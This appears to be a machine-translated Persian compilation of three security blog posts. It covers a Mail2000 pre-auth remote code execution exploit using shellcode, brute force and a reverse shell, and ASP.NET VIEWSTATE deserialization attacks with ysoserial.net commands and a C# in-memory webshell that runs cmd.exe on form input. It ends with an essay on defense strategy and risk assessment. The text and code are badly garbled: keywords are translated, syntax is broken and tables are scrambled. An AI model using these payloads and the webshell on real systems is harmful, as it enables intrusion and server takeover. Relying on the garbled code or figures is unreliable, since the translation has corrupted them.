پس از مشاهده دقیق این برنامه ، چیز بسیار ویژه ای پیدا کردیم این برنامه از لحاظ تئوری دارای NX باز است که یک مکانیزم محافظت غیر اجرایی برای بخش های قابل نوشتار است

اما در واقع اجرا شد. در آن زمان مجوز اجرای پشته باز خواهد شد!

صرف نظر از دلیل ، این تنظیمات برای هکرها بسیار مناسب است .ما می توانیم از این بخش اجرایی استفاده کنیم تا بتواند کد صدف را اجرا کند و ما می توانیم با موفقیت پوسته را بدست آوریم و به RCE برسیم!

با این حال ، این حمله نیاز به ورود دارد ، که برای تیم تحقیق DEVCORE که دنبال کمال است ، کافی نیست! بنابراین ، ما دیگر مسیرهای حمله را بررسی کرده ایم!

Pre-Auth RCE- / cgi-bin / cgi_api

پس از جستجو در تمام نقاط ورودي CGI ، يكي را پيدا كرديم كه نيازي به ورود ندارد و با MCGI_VarClear () CGI- / cgi-bin / cgi_api . همانطور که از نام آن پیداست ، این یک واسط برای فراخوانی API است ، بنابراین خود برنامه بسیار کوچک است و پس از فراخوانی در کتابخانه تقریباً تمام شده است ، بنابراین دیگر یک ابزار محوری برای پشته در دسترس نیست.
در این زمان ، از آنجا که می دانیم پشته قابل اجرا است ، می توانیم از مرحله ROP صرفنظر کنیم و shellcode را مستقیماً روی پشته قرار دهیم .در اینجا ، ما از یک ویژگی CGI استفاده می کنیم – متغیرهای مربوط به HTTP قرار خواهد گرفت. در بین متغیرهای محیطی ، مانند متغیرهای رایج زیر:

  • HTTP_HOST
  • REQUEST_METHOD
  • QUERY_STRING

و متغیر محیط در واقع در انتهای پشته قرار دارد ، یعنی موقعیت بخش اجرایی ، بنابراین ما فقط نیاز به جعل vtable داریم و مستقیماً با کد صدایی تماس می گیریم!

البته در حال حاضر نیز مشکلی وجود دارد: ما هنوز مکان حافظه پشته را نداریم. در این زمان ممکن است برخی از افراد به یک راز بپردازند ، فکر می کنند که این حمله به یکباره صورت می گیرد ، مانند یک تیرانداز ، در یک ضربه خواهد کشت ، اما در واقع ممکن است اینگونه باشد که با یک مسلسل دشمن را خاموش کند:

با نگاه از منظر ، این باینری 32 بیت است ، بنابراین 1.5 بایت در این موقعیت تصادفی است و در مجموع 16 3 ترکیب احتمالی وجود دارد ، بنابراین در حقیقت ، فقط به 4096 درخواست نیاز دارد تا یک بار ضربه بزنید! این در واقع چند دقیقه برای سرعت رایانه و شبکه فعلی چند دقیقه است ، بنابراین انجام عملی مستقیماً ترک خوردن نیروی بی رحمانه نیز امکان پذیر است! بنابراین فرایند بهره برداری نهایی ما این است:

  1. ارسال درخواست پست به cgi_api
        

    • کد صدف را در QUERY_STRING قرار دهید
    •     

      

  2. محرک خارج از محدوده نوشتن ، بازنویسی file_vec
        

    • FILE جعلی و جدول را در پارامترهای فراتر از مرز آماده کنید
    •     

      

  3. cgi_api با تماس بگیرید MCGI_VarClear
  4. قبل از پرش به محل صدف را در vtable ، پوسته معکوس

را با موفقیت نوشتیم ، و این بهره برداری تحت تأثیر نسخه های مختلف باینری قرار نمی گیرد! مورد واقعی همچنین امکان سنجی این بهره برداری را اثبات کرد .در یک تمرین ، ما از 1day Mail2000 به عنوان دستیابی به موفقیت استفاده کردیم تا داده های VPN هدف را با موفقیت به بیرون درز کنیم و بیشتر به داخل اینترانت نفوذ کنیم!

رفع آسیب پذیری

این آسیب پذیری در نسخه Mail2000 V7 Patch 050 نسخه منتشر شده در 2018/05/08 برطرف شده است. شماره وصله های OF-ISAC-18-002 و OF-ISAC-18-003 هستند.

Postscript

سرانجام ، من می خواهم در مورد اینکه چه نوع تولید کننده ذهنیت باید برای مقابله با این نقاط ضعف استفاده کند ، صحبت کنم. به عنوان ارائه دهنده محصول ، Openfind چندین نکته کلیدی دارد که ارزش آن را در این زمینه در مورد آسیب پذیری می آموزد:

  • ذهن باز
        
      
  • اشکالات را به طور جدی برطرف کنید
        

    • در مواجهه با این نگرش مثبت ، به سرعت با
    • مقابله کنید. پس از اتمام تعمیر ، با گزارشگر برای تأیید
    • همکاری کنید
          

      

  • ارزش ایمنی مشتری
        

    • به روزرسانی های اصلی را منتشر کنید و به طور فعال به مشتریان اطلاع دهید و با به روزرسانی ها به آنها کمک کنید.
          

      

در حقیقت ، حفره هایی در محصول وجود دارد كه عادی و دشوار برای جلوگیری از آن است ، و تیم تحقیقاتی ما به عنوان یك تسهیلگر نقش دارد ، امیدواریم كه با تهیه گزارش های مشكلات ، بهبود آگاهی از امنیت و افزایش سطح امنیتی تایوان به شركتها كمك كند! امید است که تولیدکنندگان نیز با نگرش مثبت و نه گول زدن و دوری از این مسئله ، با نگرش مثبت روبرو شوند و این تنها باعث می شود کاربران در معرض خطرات امنیتی بیشتری قرار بگیرند!

و کاربرانی که از دستگاه های مختلفی استفاده می کنند نیز باید بر دارایی های خود تسلط داشته باشند فایروال ها ، سرورها و سایر محصولات خریداری و نصب نمی شوند .بعد از راه اندازی مشکلی وجود نخواهد داشت. موجودی خوبی را انجام دهید و به روز رسانی های امنیتی تولید کنندگان را پیگیری کنید. برای اطمینان از این که محصول توسط 1day مورد حمله قرار نمی گیرد! آزمایش نفوذ منظم و مته های تیم قرمز می توانند به شرکتها کمک کنند تا نقاط کمبود یا نقص نقاط کور را مشخص کنند و سپس به منظور کاهش خطرات امنیتی شرکت بهبود یابد.

من پناهنده هستم.
              

.

"با حملات deserialization ASP.NET VIEWSTATE بازی کنید ، ایجاد درپشتی بدون فیلتر | DEVCORE Dave Cole"

با حملات deserialization ASP.NET VIEWSTATE بازی کنید ، ایجاد درپشتی بدون فیلتر | DEVCORE Dave Cole

مقدمه

این مقاله مضمون من را در کنفرانس DEVCORE 2019 به اشتراک می گذارد ، نحوه استفاده از نقایص کوچک برای از بین بردن برنامه های ناهموار وب سایت که با استفاده از چارچوب ASP.NET نوشته شده است ، یکی از این موارد است. در پروژه تمرینی قبلی تیم Red Red ما با موفقیت از حملات deserialization VIEWSTATE استفاده کردیم و راه ها و تجربیات را برای ورود به نقض اینترانت ایجاد کردیم که موضوع این مقاله است.

مقاله

اخیراً ، آسیب پذیری جدی CVE-2020-0688 در سرور مایکروسافت کشف شد.این مشکل پیش آمد زیرا هر سرور Exchange بعد از نصب از همان کلید ثابت ثابت در یک کامپوننت استفاده می کرد. با این حال ، من معتقدم که همه افراد پس از به دست آوردن کلید ماشین ، قبلاً با روال استفاده آشنا هستند.شما می توانید مقدار پارامتر VIEWSTATE را در فرم ASP.NET تغییر دهید تا یک حمله deserialization را انجام دهید تا به Remote Code Exception برسید تا کل سرور میزبان را کنترل کنید.

برای جزئیات بیشتر در مورد آسیب پذیری CVE-2020-0688 ، لطفا به وبلاگ ZDI مراجعه کنید:

مقالات بی شماری در اینترنت برای تجزیه و تحلیل سوء استفاده VIEWSTATE برای بحث های عمیق وجود دارد ، بنابراین من در این مقاله آنها را تکرار نخواهم کرد. امروز ، من عمدتاً می خواهم در مورد چگونگی استفاده از VIEWSTATE سوءاستفاده در تست نفوذ صحبت کنم.

ابتدایی ترین و معمول ترین روش استفاده مستقیم از ViewState Plugin از ابزار ysoserial.net برای تولید MAC قانونی و محتوای صحیح رمزگذاری شده است. اسباب بازی TypeConfuseDelegate توسط یک سری از تماس های بازتاب به طور پیش فرض آغاز می شود و فراخوانی Proc.Start را فراخوانی cmd.exe می کند. هر دستور سیستم را اجرا کنید.

به عنوان مثال:

 ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c "echo 123> c:  pwn.txt"
              - generator = "CA0B0334"
              --validationalg = "SHA1"
              --validationkey = "B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

غیرعادی VIEWSTATE معمولاً باعث می شود که صفحه aspx به 500 خطای داخلی سرور پاسخ دهد ، بنابراین نمی توانیم به طور مستقیم نتیجه اجرای دستور را بشناسیم ، اما از آنجا که اجرای خاصی وجود دارد ، باید از PowerShell استفاده کنیم تا Reverse Shell را بازگرداند یا نتیجه فرمان را به خارج برگرداند. روی سرور کار سختی نیست.

اما ..

در جنگ واقعی آزمایش نفوذ ، اوضاع اغلب چندان خوب نیستند. آگاهی امروز درباره امنیت شرکتها نسبتاً زیاد است ، و محدودیت های زیر در محیط سرور هدف عادی است:

  • مسدود کردن کلیه اتصالات خارجی فعال
  • جستجوی ممنوع خارجی DNS
  • دایرکتوری وب قابل نوشتن نیست
  • اگرچه دایرکتوری وب قابل نوشتن است ، یک مکانیسم دفاعی وب سایت Default Default وجود دارد که به طور خودکار پرونده

را بازیابی می کند ، بنابراین می توانید از توانایی یک ابزار دیگر ActivitySurrogateSelectorFromFile استفاده کنید. به عبارت دیگر ، این امکان را برای ما فراهم می کند که کد زبان NET دلخواه را در همان محیط Runtime همانند صفحه aspx اجرا کنیم. به طور پیش فرض ، .NET دارای برخی متغیرهای استاتیک جهانی است که به منابع مشترک مانند System.Web اشاره می کنند. .HttpContext.Current می تواند موضوع زمینه درخواست HTTP فعلی را بدست آورد ، درست مثل اینکه می توانیم از آن برای اجرای صفحه وب aspx که توسط خودمان نوشته شده استفاده کنیم ، و این فرآیند همه به صورت پویا در حافظه پردازش می شود ، بنابراین معادل استقرار هیچ نیست پشتیبان WebShell برای بایگانی!

ما فقط باید پارامتر -g را در ActivitySurrogateSelectorFromFile اصلاح کنیم ، و پارامتر -c دیگر دستور سیستم نیست بلکه فایل کد # ExploitClass.cs C # است که می خواهیم آن را اجرا کنیم ، پس از آن. واردات dll.

 ysoserial.exe -p ViewState -g فعالیتSurrogateSelectorFromFile
              -c "ExploitClass.cs؛ ./ dlls / System.dll؛ ./ dlls / System.Web.dll"
              - generator = "CA0B0334"
              --validationalg = "SHA1"
              --validationkey = "B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

Dll مورد نیاز برای معرفی را می توان در میزبان ویندوز با .NET Framework نصب کرد ، مانند اینکه محیط من در این مسیر است C: Windows Microsoft.NET Framework64 v4.0.30319 در

چگونه می توان مهمترین ExploitClass.cs را نوشت؟ سعی می کنم در آینده آنرا به ysoserial.net ارسال کنم ، می توانید آن را در پرونده نمونه پیدا کنید ، یا مستقیم می توانید اینجا نگاه کنید: [کلاس

 کلاس   E 
 {
     عمومی   E  ) 
     {
         System .  وب .  HttpContext   زمینه   =   سیستم .  وب . [19659031] HttpContext .  جریان  ؛ 
         زمینه . .  سرور .  ClearError  ()؛ 
         زمینه  19659031] پاسخ .  پاک  ()؛ 
         سعی کنید 
         {
             System .  Diagnostics .  فرآیند   19659035] =   new   system .  Diagnostics .  فرآیند  () ؛ 
             فرآیند .  StartInfo . [19659031] FileName   =   "cmd.exe" ؛ 
             رشته   cmd   =   زمینه . [19659031] درخواست .  فرم  [ "cmd" 
             فرآیند .  StartInfo .  Argument   =   "/ c"   +   cmd ؛ 
             فرآیند ] .  StartInfo ].  RedirectStandardOutput   =  ]   ؛ 
             فرآیند .  StartInfo .  RedirectStandardError   =   true ؛ 
             فرآیند .  StartInfo  StartInfo [19659031] UseShellExecute   =   false ؛ 
             فرآیند .  شروع  ()؛ 
             رشته   خروجی   =    StandardOutput .  ReadToEnd  ()؛ 
             زمینه ].  پاسخ .  بنویسید  [ 19659027])؛ 
        }   گرفتن   ( سیستم .  استثنا )   {} [زمینه زمینه .  پاسخ .  گرگرفتگی  () ؛ 
         زمینه ]  پاسخ .  پایان  () ؛ 
    } 
} 

از کجا Server.ClearError () و Response.End () هر دو مرحله ضروری و مهم هستند ، زیرا VIEWSTATE غیر طبیعی به ناچار باعث می شود صفحه aspx با 500 یا سایر موارد غیر منتظره پاسخ دهد. خطای سرور ، و فراخوانی اولین عملکرد می تواند به پاک کردن خطاهای ثبت شده در پشته در محیط Runtime فعلی کمک کند و تماس با End () می تواند به ASP.NET اجازه دهد تا متن پردازش فعلی را به عنوان پردازش درخواست علامت گذاری کند و مستقیماً به پاسخ پاسخ دهد. برای مشتری ، برای جلوگیری از ادامه برنامه وارد کردن سایر پردازش خطا و ایجاد نتیجه خروجی از اجرای فرمان ، امکان پذیر نیست.

در این مرحله ، از نظر تئوری ، تا زمانی که این درخواست را با یک VIEWSTATE مخرب ارسال کنید ، می توانید آن را مانند یک WebShell معمولی عملی کنید:

اما گاهی اوقات این وضعیت نیز رخ می دهد:

مهم نیست که چطور بتوانید بار را عوض کنید و بعد مجدداً آن را دوباره ارسال کنید همیشه خطای سرور دریافت می کند ، بنابراین من شروع به شک به زندگی او کردم Q_Q

اما نگران این موضوع نباشید ، شاید شما فقط یک هدف بسیار مناسب داشته باشید این سرور مرتباً به روز می شود ، زیرا مایکروسافت برخی از تکه ها را به اسباب بازی ActivitySurrogateSelector اضافه کرده است ، که نمی توان مستقیم از آنها استفاده کرد خوشبختانه ، محققان دیگر بلافاصله راه حلی ارائه دادند تا دوباره این ابزار را در دسترس قرار دهد!

برای اطلاعات بیشتر ، می توانید این مقاله را بخوانید: Re-Animating ActivitySurrogateSelector توسط Nick Landers

خلاصه ، اگر با وضعیت فوق روبرو شوید ، می توانید ابتدا با دستور زیر VIEWSTATE را تولید کنید و یک بار آن را به سرور ارسال کنید ، در صورت موفقیت ، می توانید هدف را انجام دهید. مقدار متغیر DisableActivitySurrogateSelectorTypeCheck در محیط Runtime درست است و اسباب بازی ActivitySurrogateSelector که بعداً ارسال می شود ، دیگر خطای 500 سرور منتشر نمی کند.

 ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c "نادیده گرفتن"
              - generator = "CA0B0334"
              --validationalg = "SHA1"
              --validationkey = "B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

اگر همه موارد فوق صاف باشد ، دستورات سیستم با موفقیت انجام می شوند ، و نتایج بازگردانده می شوند ، اساساً انجام اکثر کارها کافی است ، و بقیه این است که به استفاده از تصورات خود ادامه دهید!

با این حال ، گاهی اوقات حتی در این مرحله ، خطاهای ناشناخته و دلایل نامشخصی وجود خواهد داشت که باعث می شود محاسبات MAC همیشه اشتباه باشد ، زیرا الگوریتم داخلی .NET و ترکیب پارامترهای محیطی مورد نیاز کمی پیچیده هستند ، که باعث می شود این ابزار به راحتی پوشش ندهد تمام شرایط ممکن و در صورت مواجهه با این وضعیت ، راه حلی که در حال حاضر انتخاب کردم استفاده از خرد کارگران است ، سعی کنید محیطی را روی دستگاه ایجاد کنید ، همان MachineKey را تنظیم کنید ، به صورت دستی فایل aspx را بنویسید ، یک ابزار حاوی VIEWSTATE تولید کنید و سپس آن را به جلو بفرستید. روی میزبان هدف. اگر اکتشافات یا ایده های مختلف دیگری دارید که می خواهید آنها را به اشتراک بگذارید ، خوشحال می شوید که با من گپ بزنید.

رویایی که عاشق فناوری امنیت برنامه وب سایت است ،
متخصص آزمایش نفوذ است و آرزو می کند که یک دختر زیبا از نور شود.
              

.

"استراتژی دفاعی از دید یک مهاجم | DEVCORE دیو"

استراتژی دفاعی از دید یک مهاجم | DEVCORE دیو

پیش زمینه

این مقاله از نخستین سمینار آزمایشی شرکت در سال جاری ، کنفرانس DEVCORE 2019 سرچشمه گرفته است. ما تصمیم گرفتیم وبلاگ دیگری را برای اشتراک گذاری آن بنویسیم ، تا دوستانی که نمی توانند شرکت کنند ، بتوانند استراتژی دفاعی را از زوایای مختلف تجدید نظر کنند.

من می خواهم یک جنبه استراتژیک را به یک سمینار صرفاً فناوری محور اضافه کنم .در واقع ، این به محور اصلی سمینار امسال مربوط می شود " از کنترل فرموله استراتژی ، از کنترل آگاهی بازتاب ". اگر شرکت فاقد یک استراتژی طولانی مدت و صحیح امنیت سرمایه باشد ، علاوه بر منابعی که امکان دستیابی به آن وجود ندارد ، پرسنل امنیتی ردیف اول خسته می شوند و مدیریت معتقد است که منابع سرمایه گذاری شده در صورت عدم تقارن اطلاعاتی به اندازه کافی ایمن هستند ، در نهایت یک دایره شرور شکل می گیرد. تنها پس از هر حادثه امنیتی می توان با انتخاب مقرون به صرفه ترین محصولات ، آن را دنبال کرد.

استراتژی دفاع ایده آل

و شناخته شده ترین استراتژی دفاعی ممکن است دفاع در عمق باشد ، با انواع مختلف اقدامات کنترلی (تجهیزات ، سیستم ها ، خدمات) برای کاهش احتمال نفوذ دشمن و به حداقل رساندن شکست یک اقدام کنترل واحد. خطر با این حال ، این مفهوم چندین نکته برای فکر کردن در مورد

  • دارد. مرز حفاظت بسیار بزرگتر از تصور شرکت است: این امر منجر به عدم توانایی در درک نقاط تهاجم احتمالی شرکت می شود.
  • خطای شناختی در تجهیزات امنیتی: این به دشمن اجازه می دهد تا تجهیزات امنیتی را دور بزند ، یا تجهیزات تأثیر مورد انتظار سازمان را بازی نکنند.
  • Hypervisor به اندازه کافی اجرا نشده است: باعث می شود آسیب پذیری های جدیدی در اقدامات کنترلی ایجاد شود ، مانند رمزعبور پیش فرض تغییر نکرده است ، در نتیجه به VPN یا دسترسی به دستگاه های شبکه مستقیماً قابل دسترسی است.
  • همبستگی دارایی های مهم را نادیده بگیرید: فقط منابع دفاعی روی خود دارایی های مهم شرط می بندند ، و دارایی های مرتبط با آنها نادیده گرفته می شوند.

این سری از سهل انگاری ممکن است به مسیر حمله مهاجمین ، به اصطلاح مدل پنیر سوئیسی تبدیل شود ، بنابراین شرکت ها انتظار دارند از موجودی ارزیابی ریسک برای موجودی ضررهای احتمالی و وزن آنها استفاده کنند. در منابع ، حتماً روی پروژه های پرخطر که نیاز به اولویت بندی دارند ، تمرکز کنید.

اما ما می خواهیم در مورد عملی بودن این ابزار صحبت کنیم ، بهبود آن دشوار است ، و از نظر مهاجم نحوه مشاهده این استراتژی اصلی استراتژی دفاعی ، ما موضوع را به ترتیب توضیح خواهیم داد [

  • ریسک واقعی. ارزیابی پیچیده و دشوار
  • تعصب احتمالی روش ارزیابی ریسک فعلی
  • بهبود ارزیابی ریسک از منظر مهاجمان
  • روش های مناسب را برای بهبود ارزیابی ریسک انتخاب کنید

ریسک واقعی پیچیده و ارزیابی دشوار است

در اینجا ما تعریف ITGvernance از ارزیابی ریسک را نقل می کنیم:

ارزیابی ریسک – فرایند شناسایی ، تجزیه و تحلیل و ارزیابی ریسک – تنها راه برای اطمینان از این است که کنترل های امنیتی سایبری که شما انتخاب می کنید متناسب با خطرات شما باشد. سازمان رو به رو است.

ماهیت ارزیابی ریسک این است که نیمه دوم تضمین می کند که اقدامات کنترلی انتخاب شده برای خطرات واقعی پیش روی شرکتها مناسب باشد ، اما اکثر شرکتها فقط نیمه اول را شناسایی و تجزیه و تحلیل می کنند. و ارزیابی ریسک ، نتیجه ای در ارزیابی ریسک نداشته است قانون کاملاً اعمال شده است ؛ برای دستیابی به ماهیت ارزیابی ریسک ، ابتدا باید عناصر ریسک واقعی را

 ریسک واقعی = {منبع تهدید ، قصد ، تهدید ، ضعف ، احتمال ، وابستگی درک کنیم. ارزش دارایی ، اقدامات کنترل
  • عامل تهدید: منبعی از اشخاصی كه تهدید می كنند یا از نقاط ضعف استفاده می كنند ، مانند جرم سازمانی ، سازمان های هكری ، جرم مالی دولت ، رقبا ، مشتری ، كارمندان داخلی یا بلایای طبیعی.
  • هدف: هدف در نظر گرفته شده از منبع تهدید ، مانند: به دست آوردن اطلاعات شخصی ، سرقت اسرار تجاری ، از بین بردن تصویر شرکت / شخصی ، ایجاد خسارت به اموال و غیره.
  • تهدید: راه دستیابی به اهداف مانند بدافزارها ، مهندسی اجتماعی ، DDoS ، بهره برداری از آسیب پذیری های سیستم و غیره.
  • آسیب پذیری: به ضعف هایی گفته می شود که در آن می توان دارایی ها را تهدید کرد ، از جمله: آسیب پذیری های به روز نشده ، سهل انگاری پرسنل ، تنظیمات پیکربندی نامناسب ، خطاهای پیکربندی پارتیشن شبکه و غیره.
  • احتمال: اشاره به سهولت استفاده یا احتمال وقوع نقاط ضعف ، مانند: نمرات CVSS 3.0 ، آمار گذشته درباره فراوانی بروز یک آسیب پذیری و غیره.
  • همبستگی: رابطه بین دارایی ها ، مانند: توپولوژی شبکه ، رابطه مجازی ، سیستم توزیع متمرکز ، میزبان کنترل مرکزی آنتی ویروس.
  • ارزش دارایی: ارزشی که یک شرکت تحت تأثیر C ، I ، A و قانون می شناسد ، مانند سیستم های اصلی و مواد ، داده های عملیاتی عمومی ، تجهیزات فیزیکی و غیره.
  • Countermeasure: اقداماتی برای کاهش ریسک شرکتها مانند تجهیزات امنیتی ، سیستم های مدیریتی ، آموزش و آموزش.

با این حال ، اکثر شرکت ها ریسک شرکت را ارزیابی می کنند و به خاطر راحتی ، پارامترهای ارزیابی ریسک به سادگی ، احتمال ، ارزش دارایی ified ساده می شود ، و نادیده گرفتن پارامترهای مربوط به دشمن را تهدید می کند. منابع ، اهداف ، تهدیدها ، ارزش استراتژیک} ؛ دو مثال بعدی سوگیری ناشی از ارزیابی ریسک را پس از نادیده گرفتن نشان می دهد ، از جمله ارزش دارایی و امکان سوء استفاده از آسیب پذیری .

سوگیری احتمالی در ارزیابی واقع بینانه ریسک

دشمن با ارزیابی استراتژی و نه فقط ارزش دارایی

از طریق ارزیابی ریسک برای شناسایی ریسک هایی که ممکن است دارایی ها با آن روبرو شوند ، و به عنوان مرجع اولویت های بودجه یا منابع درگیر است. به طور کلی ، می توان آن را به سه سطح اولویتی تقسیم کرد:

  1. اولویت مقابله با ریسک «تأثیر زیاد ، احتمال زیاد» (مورد 1 ، مورد 2): معمولاً تهدیدی که از ریسک قابل قبول بنگاه اقتصادی فراتر رود ، و ریسک با اقدامات کنترلی کنترل می شود. با كاهش به سطح قابل قبول ، این معمولاً در اولویت منابع سازمانی یا سرمایه گذاری مداوم قرار دارد.
  2. ثانیا ، خطر "تأثیر زیاد ، احتمال کم" (مورد 3 ، مورد 4): این سطح یک ریسک است که برای جلوگیری از افزایش نیاز به توجه مستمر دارد. اگر بودجه شرکت هنوز مازاد دارد ، باید در دوم سرمایه گذاری شود. سطح
  3. سرانجام ، خطر "تأثیر کم ، احتمال کم" (مورد 5 ، مورد 6): به نظر می رسد هیچ ضرری فوری به شرکت وارد نخواهد شد و به طور کلی توجه و منابع خاصی لازم نیست.
مورد نام دارایی مقدار تهدید ضعف ضربه احتمال ریسک
1 اطلاعات معاملات 3 تخریب عمدی کنترل نامناسب ساختمان 3 3 27
2 سرمایه شخصی کاربر 3 رمزنگاری نرم افزار رستگاری نمی تواند وصله 3 3 27
3 3 سیستم انتقال 3 3 نارسایی بدن نرم توسط DDoS 3 2 [19659045] 18
4 system core 3 نارسایی بدن نرم زمان سرویس تعمیر و نگهداری بیش از حد طولانی است 3 1 9 5 5 بروزرسانی نسخه سیستم 3 دسترسی غیرمجاز حرکت جانبی 2 1 6
6 سیستم رفت و آمد داخلی 1 حمله سیستم قادر به گرفتن 1 2 2

با این حال ، برای دشمن ، ساحل را برای حمله انتخاب کنید. در زمان قلعه ، ارزش دارایی ارزش دارد ، و هیچ رابطه ای ضروری با ارزش دارایی با خود ندارد.اگر سیستم وظیفه داخلی ماده فوق 6 بتواند به هدف اصلی دشمن سریال شود ، او دارایی است که باید برای دستیابی به کنترل خود را مدیریت کند و می توان دریافت که نسخه ساده ارزیابی ریسک به راحتی خطرات را برای دارایی ایجاد نمی کند.

بهره برداری از نقاط ضعف را دست کم ارزیابی کنید

مشکل دیگر وقتی مدافعان از ارزیابی ریسک استفاده می کنند این است که آنها نمی توانند به طور دقیق میزان نقاط ضعف را تخمین بزنند. گرچه در حال حاضر نرم افزارهای مدیریت ضعف زیادی در بازار وجود دارد ، اما با آنها روبرو هستند. در یک حمله واقعی ، دشمن نه تنها از آسیب پذیریهای شناخته شده یا OWASP TOP10 استفاده خواهد کرد ، بلکه حتی به مدت 0 روز به تنهایی توسعه می دهد. بنابراین ، هنگامی که شرکت قبلاً میزان خاصی از اقدامات محافظتی را انجام داده است ، اگر حادثه امنیتی را تجربه نکرده و یا عدم شناخت صحیح را تجربه کرده باشد ، غالباً اعتقاد بر این است که چنین هکری قدرتمند نباید اقدامات حفاظتی موجود را بشکند ، بلکه از امنیت تاریخی خارج شود. تجربه تصادف و خدمات ما به ما می گوید که در واقع فیلم ها همه واقعیت دارند! !

بهبود ارزیابی ریسک از دیدگاه یک مهاجم

بسیاری از مردم فکر می کنند که زاویه مهاجم به سوء استفاده از آسیب پذیری اشاره دارد ، اما کاملاً نیست. برای دارایی هایی که مهاجم می خواهد سرقت کند ، مهاجمین نیز با دقت برنامه ریزی و معکوس شده اند.آنها استراتژی ، تکنیک ها و ابزارهای یکسانی دارند. MITER ATT & CK چارچوبی برای تعریف کامل و مجموعه ای از استراتژی ها و تکنیک های شناخته شده حمله است که می تواند برای کمک به ساختن تهدید اطلاعات ، بهبود تشخیص دفاعی و تجزیه و تحلیل دفاعی و تقویت تمرینات شبیه سازی شده دشمن و تیم قرمز مورد استفاده قرار گیرد. و غیره ، روش های مربوطه استفاده را می توان در وب سایت رسمی آنها یافت ، جزئیاتی که ما در اینجا معرفی نمی کنیم.

ما می توانیم با حوادث Incident یا Red Red که قبلاً در چهارچوب شرکت ATT & CK رخ داده اند ، منطبق شویم و ارزیابی کنیم که آیا کنترل های اجرا شده در حال حاضر می توانند سرعت ، مسدود یا کشف این موارد باشند. مهارت ها تصویر زیر یک مثال است: مربع سبز روشن مهارتی است که توسط مته تیم قرمز استفاده می شود و مربع قرمز مهارتی است که در اثر حادثه امنیتی به کار رفته است .این شرکت می تواند نتایج چندین حادثه امنیتی یا مته های تیم قرمز را برای یافتن تقاطع مقایسه کند. بلوک زرد روشن اندازه گیری کنترلی است که شرکت می تواند در اولویت قرار دهد و مکانی که باید بودجه سرمایه گذاری شود.

در اینجا مکانی وجود دارد که باید توجه ویژه ای داشته باشید چارچوب سازمانی ATT & CK یک چارچوب بسیار مناسب برای اثربخشی اقدامات کنترل دفاعی است ، با این وجود استفاده از مهارت های خاص این چارچوب به عنوان محدودیت توصیه نمی شود. در زمینه تمرین تیم قرمز ، به یاد داشته باشید که "هنگام استفاده از ATT & CK ، باید به انحراف توجه کنید ، که ممکن است رفتار حمله شناخته شده را در برابر رفتار حمله ناشناخته قرار دهد." درست مثل روح تمرین تیم قرمز ، از طریق همه توان است. راه نهایی برای پیدا کردن یک راه موفقیت آمیز برای حمله ، بنابراین ما توصیه می کنیم بیشترین فضای آزاد را به تیم قرمز اختصاص دهید تا بتوانید نقاط کور ممکن را پیدا کنید.

به یاد داشته باشید که هرگونه داده ATT و نقشه برداری CK دارای سوگیری است: شما بر روی مخالفان شناخته شده رفتار اولویت بندی می کنید.
– کتی نیکلز ، رهبر اطلاعات تهدید @ شرکت MITER

انتخاب یک روش مناسب برای بهبود استراتژی دفاعی

بنابراین ، پس از درک استراتژی ها و تکنیک هایی که دشمن از آن استفاده خواهد کرد ، چگونه شرکت ها راه هایی را برای بهبود استراتژی های دفاعی خود انتخاب می کنند؟ در حالت ایده آل ، توصیه می کنیم اگر بودجه اجازه دهد ، این نوع شرکت حداقل باید یک تمرین قرمز تیم با شدت بالا انجام دهد تا بتواند تهدیدات شرکت را به طور جامع در اختیار بگیرد ، اما در واقعیت همه شرکت ها بودجه کافی ندارند. بنابراین ، در شرایط مختلف ، روشهای مختلفی برای بهبود استراتژی دفاعی قابل استفاده است.ما پیشنهاد می کنیم که از فاکتورهای زیر قابل ارزیابی باشد:

  • زمان: زمان مورد نیاز برای اجرای این روش.
  • هزینه: هزینه (از جمله پول ، شهرت) که برای استفاده از این روش لازم است.
  • اصالت: این که آیا روشی که استفاده می شود واقعاً می تواند تهدید واقعی را منعکس کند.
  • دامنه: روش مورد استفاده می تواند پوشش دهد که آیا دامنه برای نشان دادن شرایط کلی شرکت کافی است یا خیر.

در اینجا ما از ارزیابی ریسک ، اسکن آسیب پذیری ، آزمایش نفوذ ، حمله شبیه سازی ، دریل تیم قرمز و حادثه امنیتی به عنوان راهی برای بهبود استراتژی دفاعی استفاده می کنیم و به ترتیب برای شش پروژه فوق به ترتیب و طبق [19459006صحت،دامنه،هزینهوزمانبرایترتیببندی در اولویت بندی قرار دارند (توالی ها با توجه به وضعیت شرکت متفاوت هستند). دلیل اینکه ما این روش را مرتب می کنیم این است: یک روش خوب باید مشابه حمله دنیای واقعی باشد و در کل فرآیند کافی است تا وضعیت امنیت کلی شرکت را پیدا کنید ، و در آخر هزینه و زمان صرف شده را در نظر بگیرید.

روش صحت محدوده هزینه زمان زمان
رویداد Zian 5 4 5 5
Walkingrough Team Red [19659045] 5 4 4 5
sululated simulated 3 5 2 3
آزمون نفوذ 3 3 [19659045] 3 3
اسکن ضعیف 2 5 1 2
ارزیابی ریسک 1 4 1 1

در اینجا ، علاوه بر حادثه زیان ، تقریباً می توان تصمیم گرفت که از چه روشی برای کمک به ارزیابی استراتژی دفاعی استفاده کند. مهمتر از همه ، پس از استفاده از این روش ها ، نتایج باید به ارزیابی ریسک برگردانند ، زیرا ارزیابی ریسک ساده ترین و گسترده ترین روش در مقایسه با سایر روش ها است ، که به شرکت ها کمک می کند تا به شرط بندی منابع بر روی عمده بپردازند. خطر

مورد

سرانجام ، ما با حذف اقدامات كنترلی موجود در پرونده حفاری تیم قرمز ، روش ارزیابی ریسك را در بنگاه ها بهبود بخشیدیم. در عین حال ، نتایج تهاجم را با الزامات و موارد کنترل ISO27001: 2013 مطابقت می دهیم.این پروژه ها را می توان به عنوان ممیزی سیستم مدیریتی بنگاه از منظر مهاجم در نظر گرفت و بیشتر منعکس کننده اجرای سیستم بود.

مورد یافت شده این مقاله / پیوست
1 موجودی سیستم هسته کامل نیست این مقاله 4.3 محدوده ISMS را تعیین می کند
2 [محدودهنظارتکافینیست این مقاله توجه نیاز و انتظار
3 سیستم های مختلف با استفاده از همان رمزعبور حساب ضمیمه A.9.4.3 سیستم مدیریت رمز عبور
4 قوانین مدیریت رمز عبور حضور حساب [ پیوست A.9.4 .3 سیستم مدیریت رمز عبور
